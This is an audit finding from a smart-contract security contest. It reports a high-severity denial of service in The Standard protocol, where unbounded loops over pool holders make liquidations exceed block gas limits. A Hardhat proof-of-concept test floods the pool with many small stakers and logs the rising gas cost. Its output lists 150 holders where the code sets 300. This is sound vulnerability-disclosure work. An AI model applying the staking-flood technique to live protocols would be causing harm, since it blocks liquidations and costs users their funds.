The Standard

The Standard
DeFiHardhat
20,000 USDC
View results
Submission Details
Severity: high
Valid

Permanent DDoS of liquidations which will lead to protocol funds loss (holders)

Summary

Due to an inefficient mechanism of fee/collateral distributions for pool holders in LiquidationPool, liquidations will be broken after a moderately large number of holders.

Vulnerability Details

This issue is mentioned in the list of known issues, but its severity is underestimated. The protocol couldn't be acknowledged about critical issues.

Bad debt note

The main invariant of collateralised stablecoins is: Issued stable coin value <= collateral value * collateral factor (or euro value < collateral value / collateralRate in terms of The Standard protocol), where 0 <= collateral factor <= 1. This invariant should be valid both for each position and for the whole protocol.

There are two cases of invariant break for a position:

  • collateral value * collateral factor < Issued stable coin value <= collateral value - in such cases, the position is liquidated, collateral is sold, and its value is enough to repay (burn) all issued stablecoins.

  • Issued stable coin value > collateral value - in such cases, the position is also liquidated, collateral is sold, but its value is not enough to repay (burn) all issued stablecoins:

    • X - issued stablecoins, Y - repaid and burnt during liquidation stablecoins where Y < X. X-Y is the protocol's bad debt. It means if all users close their positions, X-Y stablecoins are still issued. But this amount is backed by nothing.

When the protocol has bad debt, the fair price of a stablecoin = (Issued stablecoins - Bad debt) / Issued stablecoins and it is < 1. It means that the stablecoin tends to be unpegged.

To return the peg, the protocol must buy stablecoins from the market and burn them. It means that Bad debt is the direct protocol loss.

Declared protocol Compatibilities: Any EVM chains with live Chainlink data feeds and live Uniswap pools.

A lot of EVM blockchains have a block gas limit of several tens of millions.

During liquidations (LiquidationPoolManager::runLiquidation), methods LiquidationPool::distributeFees and LiquidationPool::distributeAssets are called. There are loops by holders array in these methods. There is no limit for holders amount but even on quite a small holders amount (several hundreds) LiquidationPoolManager::runLiquidation will require gas more than the block limit on many EVM chains.

PoC. This test should be run with hardhat blockGasLimit: 20000000000 and should be placed in test/liquidationPoolManager.js inside describe('runLiquidation', async () => { block

async function generateSigners(count, addBalance=false) {
let addresses = [];
const hdNode = ethers.utils.HDNode.fromMnemonic('above bacon road mechanic alert nephew flight talent skate endless caught license sail museum candy');
for (let i=0; i<count; i++) {
addresses.push(new ethers.Wallet(hdNode.derivePath(`m/44'/60'/0'/0/${i}`), ethers.provider));
await ethers.provider.send("hardhat_setBalance", [addresses[i].address, '0x3635c9adc5dea00000' /* 1000Ether */]);
}
return addresses;
}
for (const num of [10, 50, 300]) {
it.only(`Liquidate with ${num} holders`, async () => {
const ethCollateral = ethers.utils.parseEther('0.5');
const wbtcCollateral = BigNumber.from(1_000_000);
const usdcCollateral = BigNumber.from(500_000_000);
// create some funds to be "liquidated"
await holder5.sendTransaction({to: SmartVaultManager.address, value: ethCollateral});
await WBTC.mint(SmartVaultManager.address, wbtcCollateral);
await USDC.mint(SmartVaultManager.address, usdcCollateral);
const tstStake1 = ethers.utils.parseEther('1000');
const eurosStake1 = ethers.utils.parseEther('2000');
await TST.mint(holder1.address, tstStake1);
await EUROs.mint(holder1.address, eurosStake1);
await TST.connect(holder1).approve(LiquidationPool.address, tstStake1);
await EUROs.connect(holder1).approve(LiquidationPool.address, eurosStake1);
await LiquidationPool.connect(holder1).increasePosition(tstStake1, eurosStake1)
addresses = await generateSigners(num);
for ( i = 0; i< num; i++) {
const i_tstStake = 100;
const i_eurosStake = 100;
await TST.mint(addresses[i].address, i_tstStake);
await EUROs.mint(addresses[i].address, i_eurosStake);
await TST.connect(addresses[i]).approve(LiquidationPool.address, i_tstStake);
await EUROs.connect(addresses[i]).approve(LiquidationPool.address, i_eurosStake);
await LiquidationPool.connect(addresses[i]).increasePosition(i_tstStake, i_eurosStake);
}
await fastForward(DAY);
// handle pending states separately
const tstStake2 = 1;
await TST.mint(holder2.address, tstStake2);
await TST.connect(holder2).approve(LiquidationPool.address, tstStake2);
await LiquidationPool.connect(holder2).increasePosition(tstStake2, 0);
const receipt = await LiquidationPoolManager.runLiquidation(TOKEN_ID);
console.log(`Gas for liquidation with ${num} holders: `, (await receipt.wait()).gasUsed.toString())
});
}

Output:

LiquidationPoolManager
runLiquidation
Gas for liquidation with 10 holders: 1114596
Gas for liquidation with 50 holders: 3484523
Gas for liquidation with 150 holders: 9465005

It shows that the gas usage of LiquidationPoolManager::runLiquidation transaction increases linearly and even several hundred holders with a very small amount of staked EURO/TST will lead to a huge liquidation transaction gas amount. Which will lead to a permanent DDoS of liquidations (until upgrade).

Even in Arbitrum with its huge block gas limit, sooner or later liquidation transaction cost will be higher than the profit from liquidations.

Impact

Broken/delayed liquidations on a falling market will lead to loss of protocol funds due to undercollateralisation of minted EUROs.

Tools Used

Manual review

Recommended Mitigation

Fee and assets distributions must be totally rewritten. A scheme like in Convex or Shiba TopDog should be used.

Updates

Lead Judging Commences

hrishibhat Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

pendingstake-dos

hrishibhat Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

pendingstake-high

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!